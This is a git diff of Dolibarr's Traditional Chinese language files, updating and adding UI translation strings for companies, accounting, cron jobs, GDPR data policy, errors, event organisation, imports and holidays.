a/htdocs/langs/zh_TW/companies.lang b/htdocs/langs/zh_TW/companies.lang index 68ad3a79aef..2de41283014 100644 --- a/htdocs/langs/zh_TW/companies.lang +++ b/htdocs/langs/zh_TW/companies.lang @@ -60,14 +60,14 @@ NatureOfThirdParty=合作方性質 NatureOfContact=聯絡人性質 Address=地址 State=州/省 -StateId=State ID +StateId=州ID StateCode=州/省代碼 StateShort=州 Region=地區 Region-State=地區 - 州 Country=國家 CountryCode=國家代碼 -CountryId=Country ID +CountryId=國家ID Phone=電話 PhoneShort=電話 Skype=Skype @@ -171,7 +171,7 @@ ProfId6CM=- ProfId1ShortCM=商業登記 ProfId2ShortCM=納稅人編號 ProfId3ShortCM=No. of creation decree -ProfId4ShortCM=Deposit certificate No. +ProfId4ShortCM=存單號 ProfId5ShortCM=其他 ProfId6ShortCM=- ProfId1CO=Prof Id 1 (R.U.T.) @@ -312,8 +312,8 @@ CustomerRelativeDiscountShort=相對折扣 CustomerAbsoluteDiscountShort=無條件折扣 CompanyHasRelativeDiscount=此客戶有預設的%s%%的折扣 CompanyHasNoRelativeDiscount=此客戶預設沒有相對的折扣 -HasRelativeDiscountFromSupplier=您有此供應商的預設折扣%s%% -HasNoRelativeDiscountFromSupplier=您沒有該供應商的默認相對折扣 +HasRelativeDiscountFromSupplier=You have a default discount of %s%% with this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount with this vendor CompanyHasAbsoluteDiscount=在%s%s此客戶有折扣(信用票據或預付款) CompanyHasDownPaymentOrCommercialDiscount=在 %s%s 此客戶有折扣(商業預付款) CompanyHasCreditNote=在%s%s情況下,此客戶仍然有信用票據 @@ -444,7 +444,7 @@ AddAddress=新增地址 SupplierCategory=供應商類別 JuridicalStatus200=獨立 DeleteFile=刪除文件 -ConfirmDeleteFile=您確定要刪除這個文件? +ConfirmDeleteFile=您確定要刪除此檔 %s嗎? AllocateCommercial=指定業務代表 Organization=組織 FiscalYearInformation=會計年度 @@ -464,7 +464,7 @@ ListCustomersShort=客戶清單 ThirdPartiesArea=合作方/通訊錄 LastModifiedThirdParties=最新已修改合作方%s UniqueThirdParties=合作方總數 -InActivity=開放 +InActivity=啟用 ActivityCeased=關閉 ThirdPartyIsClosed=合作方已關閉 ProductsIntoElements=%s相關的產品/服務清單 @@ -498,3 +498,8 @@ RestOfEurope=歐洲其他地區(EEC) OutOfEurope=歐洲以外(EEC) CurrentOutstandingBillLate=目前拖欠帳單 BecarefullChangeThirdpartyBeforeAddProductToInvoice=請注意,根據您的產品價格設定,應在將產品增加到POS之前更改合作方。 +EmailAlreadyExistsPleaseRewriteYourCompanyName=電子郵件已存在,請重新輸入您的公司名稱 +TwoRecordsOfCompanyName=more than one record exists for this company, please contact us to complete your partnership request +CompanySection=Company section +ShowSocialNetworks=Show social networks +HideSocialNetworks=Hide social networks diff --git a/htdocs/langs/zh_TW/compta.lang b/htdocs/langs/zh_TW/compta.lang index 7e327af1d7d..ee76331dc75 100644 --- a/htdocs/langs/zh_TW/compta.lang +++ b/htdocs/langs/zh_TW/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=平衡(以前) Balance=平衡 Debit=借貸 Credit=信用 +AccountingDebit=借貸 +AccountingCredit=信用 Piece=會計憑證 AmountHTVATRealReceived=淨收入 AmountHTVATRealPaid=凈支付 @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=沒有依產品收集的營 TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=無法提供依銷售稅率收取的營業額報告。該報告僅適用於開具發票的營業額。 CalculationMode=計算模式 AccountancyJournal=會計代碼日記帳 -ACCOUNTING_VAT_SOLD_ACCOUNT=預設情況下,用於銷售的營業稅會計科目(如果未在營業稅分類設定中定義,則使用) -ACCOUNTING_VAT_BUY_ACCOUNT=預設情況下,用於購買的營業稅會計科目(如果未在增值稅分類設定中定義,則使用) -ACCOUNTING_VAT_PAY_ACCOUNT=預設情況下,用於支付營業稅的會計科目 -ACCOUNTING_ACCOUNT_CUSTOMER=客戶合作方使用的會計科目 +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=合作方卡上定義的專用會計科目將僅用於子帳會計。如果未定義合作方的專用客戶會計科目,則該科目將用於“總帳”,並作為“子帳”會計的預設值。 -ACCOUNTING_ACCOUNT_SUPPLIER=供應商合作方使用的會計科目 +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=合作方卡上定義的專用會計科目將僅用於子帳會計。如果未定義第三方的專用供應商會計科目,則此科目將用於“總帳”,並作為“子帳”會計的預設值。 ConfirmCloneTax=確認複製社會/財政稅 ConfirmCloneVAT=確認複製稅金申報 @@ -300,3 +302,4 @@ InvoiceToPay15Days=支付(15 至 30 天) InvoiceToPay30Days=支付(> 30 天) ConfirmPreselectAccount=預選會計科目代號 ConfirmPreselectAccountQuestion=您確定要使用此會計科目代號預先選擇 %s 選定的行嗎? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/zh_TW/contracts.lang b/htdocs/langs/zh_TW/contracts.lang index d0799fa8da6..cb7a144c9a5 100644 --- a/htdocs/langs/zh_TW/contracts.lang +++ b/htdocs/langs/zh_TW/contracts.lang @@ -72,7 +72,7 @@ BoardExpiredServices=服務已過期 BoardExpiredServicesShort=服務已過期 ServiceStatus=服務狀態 DraftContracts=合約草案 -CloseRefusedBecauseOneServiceActive=無法關閉合約,因為合約上至少有一項開放服務 +CloseRefusedBecauseOneServiceActive=無法結束合約,因為合約上至少有一項服務啟用 ActivateAllContracts=啟動所有合約行 CloseAllContracts=關閉所有合約行 DeleteContractLine=刪除合約行 diff --git a/htdocs/langs/zh_TW/cron.lang b/htdocs/langs/zh_TW/cron.lang index e61de80d07a..9a9a358dbba 100644 --- a/htdocs/langs/zh_TW/cron.lang +++ b/htdocs/langs/zh_TW/cron.lang @@ -26,7 +26,7 @@ CronCommand=命令 CronList=排程工作 CronDelete=刪除預定工作 CronConfirmDelete=您確定要刪除這些計劃的工作嗎? -CronExecute=啟動預定的工作 +CronExecute=立即啟動 CronConfirmExecute=您確定要立即執行這些計劃的工作嗎? CronInfo=計劃工作模組允許自動執行計劃工作。工作也可以手動啟動。 CronTask=工作 @@ -58,7 +58,7 @@ CronNote=註解 CronFieldMandatory=欄位%s為必填 CronErrEndDateStartDt=結束日期不能早於開始日期 StatusAtInstall=模組安裝狀態 -CronStatusActiveBtn=計畫表 +CronStatusActiveBtn=啟用排程 CronStatusInactiveBtn=停用 CronTaskInactive=此作業已停用(未排程) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=前往選單“ 主頁-管理工具 JobDisabled=工作已停用 MakeLocalDatabaseDumpShort=本地資料庫備份 MakeLocalDatabaseDump=建立本地資料庫備份。參數為:壓縮(“ gz”或“ bz”或“none”),備份類型(“ mysql”,“ pgsql”,“ auto”),1,"自動"或建立檔案名稱,要保留的備份檔案數 +MakeSendLocalDatabaseDumpShort=傳送本地資料庫備份 +MakeSendLocalDatabaseDump=以電子郵件發送本地資料庫備份。參數有:to、from、subject、message、filename(發送的檔案名稱)、filter('sql'僅用於資料庫備份) +BackupIsTooLargeSend=抱歉,最新的備份檔案太大,無法通過電子郵件發送 +CleanUnfinishedCronjobShort=清理未完成的 cronjob +CleanUnfinishedCronjob=當程序不再執行時,清除在程序中停止之cronjob WarningCronDelayed=請注意,出於性能目的,無論下一次執行已啟動工作的日期如何,您的工作執行最多可能會延遲%s小時。 DATAPOLICYJob=資料清理器和匿名器 JobXMustBeEnabled=必須啟用工作%s +EmailIfError=錯誤警告電子郵件 +ErrorInBatch=執行 %s時出現的錯誤 + # Cron Boxes LastExecutedScheduledJob=最後執行的計劃工作 NextScheduledJobExecute=下一個要預定要執行的工作 NumberScheduledJobError=錯誤的預定工作數量 +NumberScheduledJobNeverFinished=從未完成的預定作業數量 diff --git a/htdocs/langs/zh_TW/datapolicy.lang b/htdocs/langs/zh_TW/datapolicy.lang new file mode 100644 index 00000000000..f3ba68e11cf --- /dev/null +++ b/htdocs/langs/zh_TW/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = 資料數據隱私政策 +# Module description 'ModuledatapolicyDesc' +Module4100Desc = 管理資料數據隱私的模組(符合 GDPR) + +# +# Administration page +# +datapolicySetup = 資料數據隱私政策模組設定 +Deletion = 刪除資料 +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s 個月 +ONE_YEAR = 1年 +NB_YEARS = %s 年 +DATAPOLICY_TIERS_CLIENT = 客戶 +DATAPOLICY_TIERS_PROSPECT = 潛在方 +DATAPOLICY_TIERS_PROSPECT_CLIENT = 潛在方/客戶 +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = 非潛在方或客戶 +DATAPOLICY_TIERS_FOURNISSEUR = 供應商 +DATAPOLICY_CONTACT_CLIENT = 客戶 +DATAPOLICY_CONTACT_PROSPECT = 潛在方 +DATAPOLICY_CONTACT_PROSPECT_CLIENT = 潛在方/客戶 +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = 非潛在方或客戶 +DATAPOLICY_CONTACT_FOURNISSEUR = 供應商 +DATAPOLICY_ADHERENT = 會員 +DATAPOLICY_Tooltip_SETUP = 聯絡方式 - 說明您對每種類型的選擇。 +DATAPOLICYMail = 電子郵件設定 +DATAPOLICYSUBJECTMAIL = 電子郵件的主題 +DATAPOLICYCONTENTMAIL = 電子郵件的內容 +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = 同意後的訊息 +DATAPOLICYREFUSE = 不同意後的訊息 +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = 發送電子郵件 +AllAgreementSend = 所有電子郵件已發送 +TXTLINKDATAPOLICYACCEPT = “同意”的超連結文字 +TXTLINKDATAPOLICYREFUSE = “不同意”的超連結文字 + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = 匿名合作方 +DATAPOLICY_POPUP_ANONYME_TEXTE = 您無法從 Dolibarr 刪除此聯絡人,因為已有相關項目。根據 GDPR,您將使這些所有資料匿名,以遵從您的義務。您想繼續嗎 ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = 匯出個人資料 +DATAPOLICY_PORTABILITE_CONFIRMATION = 您要匯出此聯絡人的個人資料。您確定嗎 ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/zh_TW/dict.lang b/htdocs/langs/zh_TW/dict.lang index 28f4deaf115..a1ab2510922 100644 --- a/htdocs/langs/zh_TW/dict.lang +++ b/htdocs/langs/zh_TW/dict.lang @@ -250,7 +250,9 @@ CountryMF=聖馬丁 ##### Civilities ##### CivilityMME=夫人 +CivilityMMEShort=夫人 CivilityMR=先生 +CivilityMRShort=先生 CivilityMLE=女士 CivilityMTRE=主人 CivilityDR=醫生 diff --git a/htdocs/langs/zh_TW/ecm.lang b/htdocs/langs/zh_TW/ecm.lang index f9a37e2c57e..9fec5def5d7 100644 --- a/htdocs/langs/zh_TW/ecm.lang +++ b/htdocs/langs/zh_TW/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=手冊資料夾 ECMSectionAuto=自動產生資料夾 ECMSectionsManual=自行加入的樹狀圖 ECMSectionsAuto=自動產生的樹狀圖 +ECMSectionsMedias=Medias tree ECMSections=資料夾 ECMRoot=ECM的開始資料夾 ECMNewSection=新資料夾 @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=在各子資料夾的檔案數量 ECMCreationUser=建立者 ECMArea=檔案管理/電子內容管理區 ECMAreaDesc=DMS / ECM(檔案管理系統/電子內容管理)區域使您可以在Dolibarr中快速儲存,共享和搜索所有類型的文件。 -ECMAreaDesc2=*自動填寫目錄時自動加入一個元素從卡的文件。
      *手動目錄可以用來保存未鏈接到一個特定元素的文件。 +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=資料夾%s已被刪除。 ECMSectionWasCreated=資料夾%s已建立。 ECMSearchByKeywords=搜尋關鍵字 diff --git a/htdocs/langs/zh_TW/errors.lang b/htdocs/langs/zh_TW/errors.lang index ab0e1628ec7..53370bbd9ca 100644 --- a/htdocs/langs/zh_TW/errors.lang +++ b/htdocs/langs/zh_TW/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=登入者%s已經存在。 ErrorGroupAlreadyExists=群組%s已經存在。 ErrorEmailAlreadyExists=電子郵件 %s 已存在。 ErrorRecordNotFound=記錄沒有找到。 +ErrorRecordNotFoundShort=Not found ErrorFailToCopyFile=無法將檔案'%s'複製到'%s' ErrorFailToCopyDir=無法將資料夾'%s' 複製到'%s'. ErrorFailToRenameFile=無法將檔案 '%s' 重新命名成'%s'. @@ -48,6 +49,7 @@ ErrorBadImageFormat=圖片檔案格式不支援(您的PHP不支援轉換此格 ErrorBadDateFormat="%s"日期格式錯誤 ErrorWrongDate=日期不正確! ErrorFailedToWriteInDir=無法寫入資料夾%s +ErrorFailedToBuildArchive=Failed to build archive file %s ErrorFoundBadEmailInFile=找到電子郵件文件中的%s行語法不正確(例如電子郵件%s行 =%s) ErrorUserCannotBeDelete=無法刪除用戶。也許它與Dolibarr實體相關。 ErrorFieldsRequired=一些必填欄位已留空。 @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=請填寫複選框清單的值 ErrorNoValueForRadioType=請填寫廣播清單的值 ErrorBadFormatValueList=清單值不能包含多於一個逗號: %s ,但至少需要一個:key,value ErrorFieldCanNotContainSpecialCharacters=欄位 %s必須不包含特殊字元 -ErrorFieldCanNotContainSpecialNorUpperCharacters=欄位%s不能包含特殊字元,也不能包含大寫字元,只能使用數字。 +ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters, and must start with an alphabetical character (a-z) ErrorFieldMustHaveXChar=欄位 %s 至少必須有%s 字元. ErrorNoAccountancyModuleLoaded=會計模組未啟動 ErrorExportDuplicateProfil=此匯出設定已存在此設定檔案名稱。 @@ -95,9 +97,9 @@ ErrorWrongValueForField=欄位%s :"%s"與正則表達式規則%s: The value '%s' contains a malicious data not allowed ErrorFieldValueNotIn=欄位%s: "%s"在 %s中的欄位%s被發現不是數值 ErrorFieldRefNotIn=欄位%s: '%s' 不是 %s現有參考 +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=發現%s錯誤 ErrorFileIsInfectedWithAVirus=防毒程式無法驗證檔案(檔案可能被病毒感染) -ErrorSpecialCharNotAllowedForField=欄位“ %s”不允許使用特殊字元 ErrorNumRefModel=資料庫中存在一個引用(%s),並且與該編號規則不相容。刪除記錄或重命名的引用以啟用此模組。 ErrorQtyTooLowForThisSupplier=數量太少,或者此供應商沒有為此產品定義價格 ErrorOrdersNotCreatedQtyTooLow=由於數量太少,某些訂單尚未建立 @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=項目必須具有“啟用”狀態 ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=要啟用的項目必須具有“草稿”或“已關閉”狀態 ErrorNoFieldWithAttributeShowoncombobox=沒有欄位在項目“ %s”的定義中具有屬性“ showoncombobox”。無法顯示組合清單。 ErrorFieldRequiredForProduct=產品%s必須有欄位'%s' +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=問題在於站台%s的設定。 ErrorAddAtLeastOneLineFirst=請先至少增加一行 ErrorRecordAlreadyInAccountingDeletionNotPossible=錯誤,記錄已在會計中轉移,無法刪除。 @@ -277,8 +280,8 @@ ErrorWrongFileName=檔案名稱中不可以有__SOMETHING__ ErrorNotInDictionaryPaymentConditions=不在支付條款類別中,請修改。 ErrorIsNotADraft=%s 不是草案狀態 ErrorExecIdFailed=無法執行命令“id” -ErrorBadCharIntoLoginName=登錄名稱中的未核准字元 -ErrorRequestTooLarge=錯誤,請求太大 +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=您不是休假 %s 的批准人 ErrorAttributeIsUsedIntoProduct=此屬性用於一個或多個產品變異 ErrorAttributeValueIsUsedIntoProduct=此屬性值用於一個或多個產品變異 @@ -291,6 +294,15 @@ ErrorAjaxRequestFailed=Request failed ErrorThirpdartyOrMemberidIsMandatory=Third party or Member of partnership is mandatory ErrorFailedToWriteInTempDirectory=Failed to write in temp directory ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToLoadThirdParty=Failed to find/load thirdparty from id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it first. +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorTableNotFound=Table %s not found +ErrorValueForTooLow=Value for %s is too low +ErrorValueCantBeNull=Value for %s can't be null +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=您的PHP參數upload_max_filesize(%s)高於PHP參數post_max_size(%s)。這不是相同的設定。 @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=警告,您的設定檔案( htdocs / conf / WarningsOnXLines=關於%s來源記錄的警告 WarningNoDocumentModelActivated=沒有啟動用於產生文件的模型。預設情況下將選擇一個模型直到您檢查模組設定。 WarningLockFileDoesNotExists=警告,安裝設定完成後,必須在資料夾%s中增加檔案install.lock來停用安裝/遷移工具。忽略此檔案的建立會帶來嚴重的安全風險。 -WarningUntilDirRemoved=只要存在此漏洞(或在設定->其他設定中增加常數MAIN_REMOVE_INSTALL_WARNING),所有安全警告(僅管理員用戶可見)將保持活動狀態。 +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=警告,即使來源元件和目標元件之間的數量不同,也將關閉。請謹慎啟用此功能。 WarningUsingThisBoxSlowDown=警告,使用此框會嚴重降低顯示此框所有頁面的速度。 WarningClickToDialUserSetupNotComplete=您用戶的ClickToDial資訊設定尚未完成(請參閱用戶卡上的ClickToDial分頁)。 @@ -326,6 +338,8 @@ WarningAvailableOnlyForHTTPSServers=僅在使用 HTTPS 安全連線時可用。 WarningModuleXDisabledSoYouMayMissEventHere=模組 %s 尚未啟用。所以你可能會在這裡錯過很多事件。 WarningPaypalPaymentNotCompatibleWithStrict=數值 'Strict' 使得線上支付功能無法正常工作。改用“Lax”。 WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME +WarningPagesWillBeDeleted=Warning, this will also delete all existing pages/containers of the website. You should export your website before, so you have a backup to re-import it later. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". # Validate RequireValidValue = 數值無效 diff --git a/htdocs/langs/zh_TW/eventorganization.lang b/htdocs/langs/zh_TW/eventorganization.lang index 7ea9f21cbf3..4f1641acba9 100644 --- a/htdocs/langs/zh_TW/eventorganization.lang +++ b/htdocs/langs/zh_TW/eventorganization.lang @@ -54,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = 使用表單建立/增加參與者,將 # Object # EventOrganizationConfOrBooth= 會議或展位 +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = 管理活動的組織 ConferenceOrBooth = 會議或展位 ConferenceOrBoothTab = 會議或展位 AmountPaid = 付款金額 DateOfRegistration = 註冊日期 ConferenceOrBoothAttendee = 會議或展位參加者 +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -112,15 +115,15 @@ EvntOrgRegistrationHelpMessage = 在這裡,您可以為會議投票或為活 EvntOrgRegistrationConfHelpMessage = 在這裡,您可以在活動期間鼓勵建議一個新的會議。 EvntOrgRegistrationBoothHelpMessage = 在這裡,您可以在活動期間申請展位。 ListOfSuggestedConferences = 建議會議清單 -ListOfSuggestedBooths = 建議展位清單 -ListOfConferencesOrBooths=活動專案的會議或展位清單 +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = 建議召開新會議 SuggestBooth = 建議展位 ViewAndVote = 查看和票選建議的活動 PublicAttendeeSubscriptionGlobalPage = 活動報名公開連結 PublicAttendeeSubscriptionPage = 僅用於報名此活動的公共連結 MissingOrBadSecureKey = 安全金鑰無效或遺失 -EvntOrgWelcomeMessage = 此表單允許您註冊為此活動的新參與者: %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = 本次會議從 %s 開始,到 %s 結束。 ConferenceAttendeeFee = 活動的會議參與者費用:"%s"為從%s 到%s發生的。 BoothLocationFee = 活動展位位置:"%s"為從%s 到%s發生的。 @@ -130,7 +133,7 @@ LabelOfconference=會議標籤 ConferenceIsNotConfirmed=無法註冊,會議尚未確認 DateMustBeBeforeThan=%s 必須在 %s 之前 DateMustBeAfterThan=%s 必須在 %s 之後 - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=登記 OrganizationEventConfRequestWasReceived=您的會議建議已收到 OrganizationEventBoothRequestWasReceived=您的展位申請已收到 @@ -139,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=您的活動註冊付款已被 OrganizationEventBulkMailToAttendees=這是關於您作為參與者參與活動的提醒 OrganizationEventBulkMailToSpeakers=這是對您作為演講者參與活動的提醒 OrganizationEventLinkToThirdParty=連結到合作方(客戶、供應商或合作夥伴) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=申請展位 NewSuggestionOfConference=申請會議 @@ -154,7 +158,7 @@ VoteOk = 您的投票已被接受。 AlreadyVoted = 您已經為此事件投票。 VoteError = 投票時發生錯誤,請重試。 -SubscriptionOk = 您的登錄已通過驗證 +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = 確認您的活動訂閱 Attendee = 參加者 PaymentConferenceAttendee = 參與人員繳費 @@ -162,6 +166,7 @@ PaymentBoothLocation = 展位支付 DeleteConferenceOrBoothAttendee=刪除參與者 RegistrationAndPaymentWereAlreadyRecorder=已記錄電子郵件 %s 的註冊和付款 EmailAttendee=參與者電子郵件 +EmailCompany=Company email EmailCompanyForInvoice=公司電子郵件(用於發票,如果與參與者電子郵件不同) ErrorSeveralCompaniesWithEmailContactUs=已找到幾家收到此電子郵件的公司,因此我們無法自動驗證您的註冊。請以 %s 聯繫我們進行手動驗證 ErrorSeveralCompaniesWithNameContactUs=已找到數家具有此名稱的公司,因此我們無法自動驗證您的註冊。請以 %s 聯繫我們進行手動驗證 diff --git a/htdocs/langs/zh_TW/exports.lang b/htdocs/langs/zh_TW/exports.lang index 32834b64867..bbba4c5bf5d 100644 --- a/htdocs/langs/zh_TW/exports.lang +++ b/htdocs/langs/zh_TW/exports.lang @@ -18,6 +18,7 @@ ExportableFields=可匯出的欄位 ExportedFields=已匯出的欄位 ImportModelName=匯入設定檔名稱 ImportModelSaved=匯入設定檔另存為%s 。 +ImportProfile=匯入設定檔 DatasetToExport=匯出資料集 DatasetToImport=匯入檔案到資料集 ChooseFieldsOrdersAndTitle=選擇欄位順序... @@ -53,6 +54,7 @@ TypeOfLineServiceOrProduct=類型(0 =產品,1 =服務) FileWithDataToImport=匯入有資料的檔案 FileToImport=欲匯入的來源檔案 FileMustHaveOneOfFollowingFormat=要匯入的檔案必須是以下格式 +DownloadEmptyExampleShort=下載範例檔案 DownloadEmptyExample=Download a template file with examples and information on fields you can import StarAreMandatory=Into the template file, all fields with a * are mandatory fields ChooseFormatOfFileToImport=通過點選%s圖示選擇要匯入的檔案格式... @@ -82,7 +84,7 @@ SelectFormat=選擇匯入檔案格式 RunImportFile=匯入資料 NowClickToRunTheImport=確認匯入模擬結果。更正所有錯誤並重新測試。
      當模擬報告沒有錯誤時,您可以繼續將資料匯入資料庫。 DataLoadedWithId=匯入的資料將在每個資料庫表中都有一個具有此匯入ID的附加欄位: %s ,以便在調查與此匯入相關的問題時可以對其進行搜索。 -ErrorMissingMandatoryValue=來源檔案中的欄位%s中強制性資料為空白。 +ErrorMissingMandatoryValue=Mandatory data is empty in the source file in column %s. TooMuchErrors=仍然有%s其他錯誤的來源行,但輸出已受到限制。 TooMuchWarnings=仍然有%s其他有警告的來源行,但輸出已受到限制。 EmptyLine=空行(將被丟棄) @@ -92,9 +94,9 @@ YouCanUseImportIdToFindRecord=您可以使用過濾欄位 import_key='%s' NbOfLinesOK=行數沒有錯誤,也沒有警告:%s 。 NbOfLinesImported=已成功匯入行數:%s 。 DataComeFromNoWhere=要插入的值來自來源檔案中的任何地方。 -DataComeFromFileFieldNb=要插入的值來自來源檔案中的欄位編號%s 。 -DataComeFromIdFoundFromRef=來自來源檔案的欄位編號%s的值將用於尋找要使用的母項目ID(因此項目%s參考來源必須存在於資料庫中)。 -DataComeFromIdFoundFromCodeId=來自來源檔案的欄位編號%s的代碼將用於尋找要使用的母項目ID(因此來源檔案中的代碼必須存在於字典%s中 )。請注意,如果您知道ID,您應該在來源檔案中使用它而不是使用代碼。在兩種情況下,匯入都應該起作用。 +DataComeFromFileFieldNb=Value to insert comes from column %s in source file. +DataComeFromIdFoundFromRef=The value that comes from the source file will be used to find the id of the parent object to use (so the object %s that has the ref. from source file must exist in the database). +DataComeFromIdFoundFromCodeId=The value of code that comes from source file will be used to find the id of the parent object to use (so the code from source file must exist in the dictionary %s). Note that if you know the id, you can also use it in the source file instead of the code. Import should work in both cases. DataIsInsertedInto=來自來源檔案的資料將被插入到以下欄位: DataIDSourceIsInsertedInto=在來源檔案中的資料找到母項目ID,將插入到以下欄位: DataCodeIDSourceIsInsertedInto=在代碼中的找到母行ID,將插入到以下欄位: @@ -132,9 +134,14 @@ FormatControlRule=格式控制規則 ## imports updates KeysToUseForUpdates=用於更新現有資料的鍵(欄) NbInsert=已插入的行數:%s +NbInsertSim=將插入的行數:%s NbUpdate=已更新的行數:%s +NbUpdateSim=將更新的行數:%s MultipleRecordFoundWithTheseFilters=使用篩選器找到了多個記錄:%s StocksWithBatch=具有批次/序號產品的庫存和位置(倉庫) -WarningFirstImportedLine=The first line(s) will not be imported with the current selection -NotUsedFields=Fields of database not used +WarningFirstImportedLine=第一行將不會與目前的選擇一起匯入 +NotUsedFields=未使用的資料庫欄位 SelectImportFieldsSource = Choose the source file fields you want to import and their target field in database by choosing the fields in each select boxes, or select a predefined import profile: +MandatoryTargetFieldsNotMapped=Some mandatory target fields are not mapped +AllTargetMandatoryFieldsAreMapped=All target fields that need a mandatory value are mapped +ResultOfSimulationNoError=模擬結果:無錯誤 diff --git a/htdocs/langs/zh_TW/holiday.lang b/htdocs/langs/zh_TW/holiday.lang index 868e06f0268..631476875ca 100644 --- a/htdocs/langs/zh_TW/holiday.lang +++ b/htdocs/langs/zh_TW/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=人力資源 Holidays=休假 +Holiday=休假 CPTitreMenu=休假 MenuReportMonth=月結單 MenuAddCP=新休假單 +MenuCollectiveAddCP=新的集體休假申請 